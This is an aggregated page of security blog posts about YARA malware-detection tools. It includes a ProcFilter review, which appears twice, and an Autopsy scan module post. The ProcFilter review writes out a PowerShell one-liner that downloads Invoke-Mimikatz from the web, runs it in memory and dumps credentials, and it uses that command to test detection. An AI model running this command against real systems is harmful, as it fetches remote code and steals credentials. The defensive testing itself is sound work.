CyberGRX, Riverbed, YARA Rules, and Palantir – Enterprise Security Weekly #62

CyberGRX and BitSight join forces, Java vs. JavaScript, YARA rules explained, Riverbed teases an application networking offering, and more enterprise security news! Enterprise News CyberGRX Partners With BitSight to Address Supply Chain Risks | SecurityWeek.Com Riverbed to tout application networking offering at GITEX Explained: YARA rules – Malwarebytes Labs Palantir’s IPO Plans are Just as […]

The post CyberGRX, Riverbed, YARA Rules, and Palantir – Enterprise Security Weekly #62 appeared first on Security Weekly.

Continue reading CyberGRX, Riverbed, YARA Rules, and Palantir – Enterprise Security Weekly #62

yarAnalyzer – Yara Rule Analyzer and Statistics Generator

yarAnalyzer is a Python-based YARA rule analyzer that can also generate statistics from yara rulesets. It also has an inventory creation feature that can output a CSV file detailing the rules. It creates statistics on a YARA rule set and files in a sample directory. Place some signatures with .yar extension in the “signatures” folder…

Read the full post at darknet.org.uk

Continue reading yarAnalyzer – Yara Rule Analyzer and Statistics Generator

Toolsmith In-depth Analysis: ProcFilter – YARA-integrated Windows process denial framework

Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It’s been an amazing journey; I look to you, dear reader, for ideas on what tool you’d like to see me cover for the decade anniversary edition. Contact information at the end of this post.

Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it’s GitHub readme, ProcFilter is “a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft’s ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot.”
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It’s a lightweight, precise, targeted tool that does not include a large signature set. “ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions.”
GoDaddy’s Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
“For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we’re saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”

Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software – if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.

Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes.”

Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.

ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you’ll see ProcFilter Service via the services.msc as follows.

ProcFilter Service

You’ll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity.  You’ll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.

ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.

ProcFilter Service

Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it’s quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he’s written very effective rules to detect his own craftsmanship. 

mimikatz power_pe_injection Yara rule

I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:

Command-line options

Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation‘s PowerSploit Github and runs it in memory.

Invoke-mimikatz

The attack didn’t get very far at all on Windows 10, by design, but that doesn’t mean we don’t want to detect such attempted abuses in our environment, even if unsuccessful.

Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. 🙂

Suspect process

Running procfilter -memoryscan 10612 came through like a champ.

Command-line ProcFilter detection

The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.

ProcFilter event log view

In closing

Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.
Cheers…until next time, for the big decade anniversary edition.

Continue reading Toolsmith In-depth Analysis: ProcFilter – YARA-integrated Windows process denial framework

Toolsmith In-depth Analysis: ProcFilter – YARA-integrated Windows process denial framework

Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It’s been an amazing journey; I look to you, dear reader, for ideas on what tool you’d like to see me cover for the decade anniversary edition. Contact information at the end of this post.

Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it’s GitHub readme, ProcFilter is “a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft’s ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot.”
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It’s a lightweight, precise, targeted tool that does not include a large signature set. “ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions.”
GoDaddy’s Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
“For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we’re saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”

Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software – if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.

Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes.”

Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.

ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you’ll see ProcFilter Service via the services.msc as follows.

ProcFilter Service

You’ll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity.  You’ll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.

ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.

ProcFilter Service

Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it’s quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he’s written very effective rules to detect his own craftsmanship. 

mimikatz power_pe_injection Yara rule

I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:

Command-line options

Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation‘s PowerSploit Github and runs it in memory.

Invoke-mimikatz

The attack didn’t get very far at all on Windows 10, by design, but that doesn’t mean we don’t want to detect such attempted abuses in our environment, even if unsuccessful.

Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. 🙂

Suspect process

Running procfilter -memoryscan 10612 came through like a champ.

Command-line ProcFilter detection

The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.

ProcFilter event log view

In closing

Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.
Cheers…until next time, for the big decade anniversary edition.

Continue reading Toolsmith In-depth Analysis: ProcFilter – YARA-integrated Windows process denial framework

YARA – Pattern Matching Tool For Malware Analysis

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns. Each description, a.k.a rule, consists of a set of strings and a boolean expression which […]

The…

Read the full post at darknet.org.uk

Continue reading YARA – Pattern Matching Tool For Malware Analysis

Autopsy Python YARA Scan Module

YARA is a great tool to help with the identification of malware that can be found at: https://plusvic.github.io/yara/.  You can write your own rules or here is a super nice prebuilt repository that can be used at: http://yararules.com.  I needed a fast way to search through some disk images thus decided it was time to build a quick Autopsy Python YARA Scan Module found for download at: https://github.com/jblukach/AutopsyModules.

Setup required dropping the YARA executable in the Autopsy Python Module folder.  I also created a centralized YARA Rule File containing the following: include “rules-master\antidebug.yar” statements for the list as an example.   

You can easily change the following two lines of code if you want to use a different storage location.

What is the objective of your YARA Scan?  The search syntax uses SQLite thus in this example %.doc is looking for any word documents.  There are no path dependencies as it is set with the percentage sign a.k.a. %.

If you wanted to find any executable files that were located in a temporary folder the line of code could be changed to the following.  Any files that are marked as KNOWN by Hash Analysis will be excluded from the YARA Scan.

files = fileManager.findFiles(dataSource, “%.exe”, “%temp%”)

These two lines can be commented out with the pound sign a.k.a. # to get the quantity and listing of files that will be processed.  First line exports the file to the Temporary folder inside the case directory structure.  The second line runs the YARA scan against the exported file.  Windows Defender on my investigation machine also examines the files during extraction that may identify some very low hanging fruit too. 

The report will overwrite the YARA.txt file every time the module is run.  The file is located in the Reports folder inside the case directory structure.  You may need to update the report name depending on changes to your search requirements.   

Once the YARA Scan module completes, Autopsy will fire an alert showing the number of files scanned.
Under Reports, the generated text file will be linked so that you can double click and review the results.  Top line is the YARA results and the bottom line shows where the file is located in the Autopsy interface. 



Hopefully this helps your hunting too!

John

Continue reading Autopsy Python YARA Scan Module